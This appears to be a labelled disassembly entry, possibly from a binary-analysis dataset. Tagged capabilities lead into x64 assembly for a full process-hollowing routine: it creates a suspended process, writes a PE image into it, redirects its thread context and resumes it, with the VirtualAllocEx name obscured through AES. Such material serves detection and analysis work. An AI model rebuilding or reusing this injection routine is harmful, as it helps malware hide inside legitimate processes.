Function at 0x140001000
Capabilities:
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x18d0]
mov eax, 0x19d0
call fcn.140002730
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x18b0], rax
mov rsi, rdx
mov rdi, rcx
lea rdx, [rbp + 0x490]
xor ecx, ecx
mov r8d, 0x208
mov r14, r9
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x14000105b
mov rax, 0xffffffffffffffff
jmp 0x14000157e
mov qword [rsp + 0x1a10], r12
lea rcx, [rbp + 0x6a0]
xor edx, edx
mov qword [rsp + 0x19c8], r13
mov r8d, 0x1208
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x490]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140001090
add rbx, rbx
lea rdx, [rbp + 0x490]
mov r8, rbx
lea rcx, [rbp + 0x6a0]
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [r14]
lea r12, [0x140005080]
movsxd r14, dword [0x1400050bc]
mov r13d, 0x20
mov word [rbp + rbx + 0x6a0], r13w
add r14, r12
mov word [rbp + rbx + 0x6a2], ax
cmp dword [r14], 0x4550
je 0x1400010f2
mov eax, 0xfffffffe
jmp 0x14000156e
mov qword [rsp + 0x48], rdi
lea rdx, [rbp + 0x6a0]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x19c0], r15
xor r8d, r8d
xor r15d, r15d
xor ecx, ecx
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140001144
mov eax, 0xfffffffd
jmp 0x140001566
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rdi + 8]
lea rdx, [rsp + 0x60]
mov dword [rbp - 0x70], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140001188
mov rcx, qword [rdi]
mov edx, 0xfffffffc
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffffc
jmp 0x140001566
xor edx, edx
mov ecx, 0xc
call qword [sym.imp.libcrypto_3_x64.dll_OPENSSL_init_crypto]
xor edx, edx
mov ecx, 2
call qword [sym.imp.libcrypto_3_x64.dll_OPENSSL_init_crypto]
mov edx, r13d
lea rcx, [rbp + 0x450]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
test eax, eax
je 0x14000153e
mov edx, 0x10
lea rcx, [rbp + 0x440]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
test eax, eax
je 0x14000153e
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x1400011f2
lea rdx, str.Failed_to_get_module_handle.
jmp 0x140001545
lea rdx, str.VirtualAllocEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001213
lea rdx, str.Failed_to_get_address_of_VirtualAllocEx.
jmp 0x140001545
mov qword [rbp + 0x438], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
test rax, rax
jne 0x140001234
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX.
jmp 0x140001545
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x450]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
lea rax, [rbp + 0x440]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140001292
lea rdx, str.Encryption_initialization_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400016e0
mov rcx, rax
lea rdx, [0x1400018c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
jmp 0x140001561
lea r9, [rbp + 0x438]
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x50]
mov rcx, rbx
lea rdx, [rbp + 0x470]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x1400012c4
lea rdx, str.Encryption_update_failed.
jmp 0x140001268
movsxd rsi, dword [rsp + 0x50]
lea rdx, [rbp + 0x470]
add rdx, rsi
lea r8, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x1400012f2
lea rdx, str.Encryption_finalization_failed.
jmp 0x140001268
add esi, dword [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
test rax, rax
jne 0x140001319
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX_for_decryption.
jmp 0x140001545
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x450]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
lea rax, [rbp + 0x440]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140001352
lea rdx, str.Decryption_initialization_failed.
jmp 0x140001268
lea r9, [rbp + 0x470]
mov dword [rsp + 0x20], esi
lea r8, [rsp + 0x50]
mov rcx, rbx
lea rdx, [rbp + 0x430]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140001383
lea rdx, str.Decryption_update_failed.
jmp 0x140001268
movsxd rax, dword [rsp + 0x50]
lea rdx, [rbp + 0x430]
add rdx, rax
lea r8, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x1400013b1
lea rdx, str.Decryption_finalization_failed.
jmp 0x140001268
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov r8d, dword [r14 + 0x50]
mov r9d, 0x3000
mov rdx, qword [r14 + 0x30]
mov rcx, qword [rdi]
mov dword [rsp + 0x20], 0x40
call qword [rbp + 0x430]
mov rcx, qword [rdi]
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x1400013fb
mov edx, 0xfffffffb
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffffb
jmp 0x140001566
mov r9d, dword [r14 + 0x54]
mov r8, r12
mov rdx, rax
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000142c
mov rcx, qword [rdi]
mov edx, 0xfffffffa
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffffa
jmp 0x140001566
mov rbx, r15
cmp r15w, word [r14 + 6]
jae 0x14000148d
mov rsi, r15
nop dword [rax]
movsxd rcx, dword [0x1400050bc]
add rcx, rsi
mov qword [rsp + 0x20], r15
mov r8d, dword [rcx + r12 + 0x11c]
mov edx, dword [rcx + r12 + 0x114]
add r8, r12
mov r9d, dword [rcx + r12 + 0x118]
add rdx, qword [rsp + 0x58]
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400014ca
movzx eax, word [r14 + 6]
inc rbx
add rsi, 0x28
cmp rbx, rax
jb 0x140001440
mov rdx, qword [rbp - 0x18]
lea r8, [rsp + 0x58]
mov rcx, qword [rdi]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400014e2
mov rcx, qword [rdi]
mov edx, 0xfffffff8
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff8
jmp 0x140001566
mov rcx, qword [rdi]
mov edx, 0xfffffff9
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff9
jmp 0x140001566
mov eax, dword [r14 + 0x28]
lea rdx, [rsp + 0x60]
add rax, qword [rsp + 0x58]
mov rcx, qword [rdi + 8]
mov qword [rbp - 0x20], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140001517
mov rcx, qword [rdi]
mov edx, 0xfffffff7
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff7
jmp 0x140001566
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x14000153a
mov rcx, qword [rdi]
mov edx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff6
jmp 0x140001566
xor eax, eax
jmp 0x140001566
lea rdx, str.Failed_to_generate_key_or_IV.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400016e0
lea rdx, [0x1400018c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
mov r15, qword [rsp + 0x19c0]
mov r12, qword [rsp + 0x1a10]
mov r13, qword [rsp + 0x19c8]
mov rcx, qword [rbp + 0x18b0]
xor rcx, rsp
call fcn.140001910
add rsp, 0x19d0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret